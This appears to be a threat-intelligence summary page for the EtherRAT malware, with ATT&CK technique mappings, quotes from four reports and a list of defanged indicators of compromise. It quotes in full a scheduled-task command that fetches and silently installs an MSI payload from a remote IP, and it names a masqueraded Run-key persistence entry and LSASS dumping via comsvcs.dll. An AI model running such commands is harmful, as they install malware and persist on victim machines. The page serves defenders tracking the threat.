EtherRATMalware
According to sysdig, EtherRAT uses Ethereum smart contracts for C2 URL resolution. It establishes persistence through five independent mechanisms, ensuring survival across reboots and system maintenance (systemd, xdg, cron, bashrc, profile).From MISP Galaxy
Last reported 5 days ago, by The Hacker News4 reports
ATT&CK techniques
6 of 18 · each with the sentence it comes from- T1036Masquerading
“Persistence was registered under the user Run key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\EdgeUpdate, masquerading as a benign Edge auto-updater entry.”
- T1053.005Scheduled Task
“The first mechanism was a scheduled task to retrieve and execute EtherRAT called msiInstall2, created with schtasks /create /tn msiInstall2 /tr "msiexec.exe /i hxxp://77.110.122.58:23205/cons_1.0.1.msi /quiet /norestart /l*v C:\ProgramData\p\msi.log" /sc once /st 00:00 /ru SYSTEM…”
- T1552.004Private Keys
“…ions by replacing the destination address with an attacker-controlled wallet and harvesting wallet material, such as seed phrases and private keys.”
- T1684Social Engineering
“The social engineering doesn't need to be sophisticated; it just needs to look like a legitimate troubleshooting step and more often than not, that's enough.”
- T1003.001LSASS Memory
“Hunt for LSASS memory dumping via comsvcs.dll with tasklist enumeration.”
- T1055Process Injection
“Process injection and module management”
Reports per month
last 12 monthsOctober so far (hatched). Counted by report, not by story.
What the reports say
4 reports, newest first · the exact sentence from each-
⚡ Weekly Recap: 98 Zero-Days, Rogue AI Agents, $100M Crypto Theft, 700 Supermarkets Hit and More“The activity leveraged the Ethereum and TON blockchains, a technique called EtherHiding, to deliver EtherRAT and TONResolver malware.”
-
Intelligence Insights: August 2026“We had four new threats debut on our top 10 list this month: GraphSpy, Phexia, CastleRAT, and EtherRAT.”
-
Potemkin Loader & RMMProject The Anatomy of a ClickFix Attack“Courtesy of ClickFix, Potemkin, RMMProject and EtherRAT”
-
Flash Alert: EtherRat and TukTuk C2 End in The Gentleman Ransomware“The EtherRAT malware family was first reported by Sysdig back in December 2025.”
Indicators in its reports
named in the reports above- gl1nto.spiintforge[.]ruin 1 report
- reeemso.forwardbox.co[.]ukin 1 report
- chainlist[.]orgin 1 report
- 1rpc[.]ioin 1 report
- hxxps://nodejs[.]org/dist/v18.20.5/node-v18.20.5-win-x64.zipin 1 report
- goldsky.arweave[.]netin 1 report
- arweave[.]netin 1 report
- g8way[.]ioin 1 report
- hxxps://witch-skins-lip-coal.trycloudflare[.]comin 1 report
- witch-skins-lip-coal.trycloudflare[.]comin 1 report
- hxxps://fields-pct-easier-vancouver.trycloudflare[.]comin 1 report
- fields-pct-easier-vancouver.trycloudflare[.]comin 1 report
- hxxps://howto-tar-naturals-coordination.trycloudflare[.]comin 1 report
- howto-tar-naturals-coordination.trycloudflare[.]comin 1 report
- hxxps://workshop-lighting-protective-customs.trycloudflare[.]comin 1 report
- workshop-lighting-protective-customs.trycloudflare[.]comin 1 report
- hxxps://afford-effect-construct-tricks.trycloudflare[.]comin 1 report
- afford-effect-construct-tricks.trycloudflare[.]comin 1 report
- hxxps://rapids-lil-lending-charleston.trycloudflare[.]comin 1 report
- rapids-lil-lending-charleston.trycloudflare[.]comin 1 report
Copy these 20 indicators · defanged
Thanks — we review every report.